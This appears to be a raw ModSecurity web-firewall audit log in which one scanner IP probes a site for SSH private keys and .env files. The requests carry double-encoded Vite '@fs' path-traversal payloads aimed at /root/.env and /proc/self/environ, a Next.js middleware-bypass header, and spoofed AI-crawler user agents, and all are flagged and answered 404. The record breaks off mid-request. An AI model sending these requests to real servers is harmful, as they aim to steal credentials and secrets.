Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--778ba61e-Z--

--a9bd3c0c-A--
[13/Sep/2026:13:54:12.837351 +0300] aqaA1Ewu1RSkptiiNIX7ogAAAII 35.236.177.61 35270 127.0.0.1 7081
--a9bd3c0c-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a9bd3c0c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a9bd3c0c-E--

--a9bd3c0c-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaA1Ewu1RSkptiiNIX7ogAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaA1Ewu1RSkptiiNIX7ogAAAII"]
Stopwatch: 1789296852801592 35811 (- - -)
Stopwatch2: 1789296852801592 35811; combined=34320, p1=246, p2=33946, p3=70, p4=7, p5=50, sr=112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a9bd3c0c-Z--

--45d3503f-A--
[13/Sep/2026:13:54:12.874915 +0300] aqaA1GM7dE9KgIIOpQh6mAAAAM4 35.236.177.61 35272 127.0.0.1 7081
--45d3503f-B--
GET /.ssh/id_dsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--45d3503f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--45d3503f-E--

--45d3503f-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaA1GM7dE9KgIIOpQh6mAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaA1GM7dE9KgIIOpQh6mAAAAM4"]
Stopwatch: 1789296852841332 33635 (- - -)
Stopwatch2: 1789296852841332 33635; combined=32163, p1=292, p2=31678, p3=142, p4=7, p5=44, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--45d3503f-Z--

--d99a7b2e-A--
[13/Sep/2026:13:54:12.905129 +0300] aqaA1GM7dE9KgIIOpQh6mQAAAMU 35.236.177.61 35286 127.0.0.1 7081
--d99a7b2e-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d99a7b2e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d99a7b2e-E--

--d99a7b2e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaA1GM7dE9KgIIOpQh6mQAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaA1GM7dE9KgIIOpQh6mQAAAMU"]
Stopwatch: 1789296852867931 37266 (- - -)
Stopwatch2: 1789296852867931 37266; combined=35692, p1=243, p2=35325, p3=72, p4=7, p5=45, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d99a7b2e-Z--

--18a38955-A--
[13/Sep/2026:13:54:12.969660 +0300] aqaA1GM7dE9KgIIOpQh6mgAAAMY 35.236.177.61 35288 127.0.0.1 7081
--18a38955-B--
GET /.ssh/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--18a38955-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--18a38955-E--

--18a38955-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/config"] [unique_id "aqaA1GM7dE9KgIIOpQh6mgAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/config"] [unique_id "aqaA1GM7dE9KgIIOpQh6mgAAAMY"]
Stopwatch: 1789296852938250 31468 (- - -)
Stopwatch2: 1789296852938250 31468; combined=29745, p1=261, p2=29348, p3=77, p4=8, p5=51, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18a38955-Z--

--6b62612a-A--
[13/Sep/2026:13:54:13.047516 +0300] aqaA1Uwu1RSkptiiNIX7owAAAJY 35.236.177.61 35300 127.0.0.1 7081
--6b62612a-B--
GET /.ssh/known_hosts HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6b62612a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6b62612a-E--

--6b62612a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaA1Uwu1RSkptiiNIX7owAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaA1Uwu1RSkptiiNIX7owAAAJY"]
Stopwatch: 1789296853014857 32722 (- - -)
Stopwatch2: 1789296853014857 32722; combined=31095, p1=284, p2=30685, p3=72, p4=7, p5=46, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b62612a-Z--

--c91fea28-A--
[13/Sep/2026:13:54:13.094026 +0300] aqaA1SsVWymXUono-eRWSAAAAAY 35.236.177.61 35310 127.0.0.1 7081
--c91fea28-B--
GET /id_rsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c91fea28-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c91fea28-E--

--c91fea28-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/id_rsa"] [unique_id "aqaA1SsVWymXUono-eRWSAAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/id_rsa"] [unique_id "aqaA1SsVWymXUono-eRWSAAAAAY"]
Stopwatch: 1789296853053018 41079 (- - -)
Stopwatch2: 1789296853053018 41079; combined=39425, p1=255, p2=39023, p3=75, p4=11, p5=61, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c91fea28-Z--

--d84f7b00-A--
[13/Sep/2026:13:54:13.125959 +0300] aqaA1WM7dE9KgIIOpQh6mwAAANg 35.236.177.61 35320 127.0.0.1 7081
--d84f7b00-B--
GET /id_dsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d84f7b00-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d84f7b00-E--

--d84f7b00-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/id_dsa"] [unique_id "aqaA1WM7dE9KgIIOpQh6mwAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/id_dsa"] [unique_id "aqaA1WM7dE9KgIIOpQh6mwAAANg"]
Stopwatch: 1789296853092800 33220 (- - -)
Stopwatch2: 1789296853092800 33220; combined=31522, p1=299, p2=31019, p3=145, p4=10, p5=49, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d84f7b00-Z--

--ad604515-A--
[13/Sep/2026:13:54:13.820373 +0300] aqaA1Uwu1RSkptiiNIX7qAAAAIg 35.236.177.61 35426 127.0.0.1 7081
--ad604515-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ad604515-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ad604515-E--

--ad604515-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env"] [unique_id "aqaA1Uwu1RSkptiiNIX7qAAAAIg"]
Stopwatch: 1789296853813357 7084 (- - -)
Stopwatch2: 1789296853813357 7084; combined=5399, p1=344, p2=4911, p3=83, p4=10, p5=50, sr=159, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ad604515-Z--

--ef0c5602-A--
[13/Sep/2026:13:54:13.868749 +0300] aqaA1SsVWymXUono-eRWSQAAABE 35.236.177.61 35442 127.0.0.1 7081
--ef0c5602-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ef0c5602-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ef0c5602-E--

--ef0c5602-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/src/.env"] [unique_id "aqaA1SsVWymXUono-eRWSQAAABE"]
Stopwatch: 1789296853862016 6789 (- - -)
Stopwatch2: 1789296853862016 6789; combined=5157, p1=281, p2=4697, p3=125, p4=10, p5=44, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef0c5602-Z--

--afd6e475-A--
[13/Sep/2026:13:54:13.993937 +0300] aqaA1WM7dE9KgIIOpQh6owAAANE 35.236.177.61 35448 127.0.0.1 7081
--afd6e475-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--afd6e475-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--afd6e475-E--

--afd6e475-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1WM7dE9KgIIOpQh6owAAANE"]
Stopwatch: 1789296853982707 11284 (- - -)
Stopwatch2: 1789296853982707 11284; combined=7090, p1=1300, p2=5600, p3=131, p4=7, p5=52, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--afd6e475-Z--

--93de397d-A--
[13/Sep/2026:13:54:14.050172 +0300] aqaA1mM7dE9KgIIOpQh6pAAAAMI 35.236.177.61 35460 127.0.0.1 7081
--93de397d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--93de397d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--93de397d-E--

--93de397d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pAAAAMI"]
Stopwatch: 1789296854034437 15900 (- - -)
Stopwatch2: 1789296854034437 15900; combined=11822, p1=293, p2=6118, p3=5201, p4=103, p5=107, sr=147, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93de397d-Z--

--23f60f17-A--
[13/Sep/2026:13:54:14.054117 +0300] aqaA1mM7dE9KgIIOpQh6pQAAAM4 35.236.177.61 35472 127.0.0.1 7081
--23f60f17-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
